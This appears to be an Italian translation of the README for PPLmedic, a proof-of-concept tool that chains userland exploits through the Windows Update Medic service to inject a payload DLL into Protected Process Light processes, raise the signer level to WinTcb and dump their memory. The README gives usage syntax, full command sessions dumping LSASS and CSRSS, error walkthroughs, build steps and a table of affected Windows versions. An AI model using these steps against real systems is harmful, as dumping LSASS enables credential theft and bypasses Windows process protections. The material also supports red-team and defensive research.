
Estrai la memoria di qualsiasi PPL con una catena di exploit Userland
Questo strumento implementa una catena di exploit in Userland per iniettare codice arbitrario in un PPL con tipo di firmatario Windows ed elevare al tipo di firmatario WinTcb. Queste tecniche sono state originariamente discusse da James Forshaw (noto anche come @tiraniddo) nel suo articolo Injecting Code into Windows Protected Processes using COM - Part 1.
Per saperne di più su questo strumento, dovresti leggere l'articolo dedicato qui:
Qualificherei questo strumento come una proof-of-concept avanzata. Dovresti pensarci due volte prima di usarlo in un impegno reale. È sicuro da usare finché non viene interrotto, cosa che non può essere garantita in presenza di un EDR, per esempio.
Modifica chiavi di registro importanti relative al servizio Windows Update Medic. Nel peggiore dei casi, se queste chiavi di registro non vengono ripristinate correttamente, il servizio non funzionerà come dovrebbe, ma questo non causerà il crash del sistema operativo.
Prerequisiti:
SeDebugPrivilegeREM Usa l'opzione -p per elevare da PPL-Windows a PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
Dump di un PPL-Windows o inferiore (es.: LSASS):
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
Dump di un PPL-WinTcb (es.: CSRSS):
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
Ricevi il seguente errore perché l'exploit è andato in timeout mentre cercava di creare un oggetto COM TaskHandler remoto. Di solito è il segno che il servizio di destinazione WaaSMedicSvc è andato in crash. Questo può essere confermato con il messaggio successivo: [!] Service WaaSMedicSvc is no longer running. Dovresti provare a eseguire di nuovo lo strumento.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
Ricevi il seguente errore perché l'exploit non è riuscito a scrivere una directory oggetti valida in meno di 1000 tentativi. Questo limite funge da salvaguardia per evitare che il servizio di destinazione consumi troppe risorse. Dovresti provare a eseguire di nuovo lo strumento.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
Ricevi il seguente errore perché si è verificato un errore imprevisto durante la chiamata a LaunchDetectionOnly o LaunchRemediationOnly. Comunque dovrebbe essere piuttosto raro. Dovresti provare a eseguire di nuovo lo strumento.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
Ricevi il seguente errore perché l'exploit non è riuscito a firmare tramite cache la DLL payload. L'oplock impostato sul file di catalogo probabilmente non è mai stato attivato perché era già stato aperto dal Kernel. Puoi provare a eseguire di nuovo lo strumento in un secondo momento (per Windows 11, fai riferimento alla sezione "Test").
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
Questa soluzione di Visual Studio comprende due progetti (l'eseguibile e una DLL payload) che devono essere compilati in un ordine specifico. Tutto è preconfigurato, quindi devi solo seguire queste semplici istruzioni. La DLL payload compilata viene automaticamente incorporata nell'eseguibile finale.
Release / x64 (x86 non è supportato!).Build > Build Solution.| Versione di Windows | PPL-Windows | PPL-WinTcb | Osservazione |
|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/D |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | Crash frequente del servizio + l'exploit della firma cache contraffatta non sembra funzionare. |
| Windows Server 2019 Versione 1809 Build 17763.4010 | ✔ | ✔ | N/D |
| Windows Server 2022 Versione 21H2 Build 20348.1547 | ✔ | ✔ | N/D |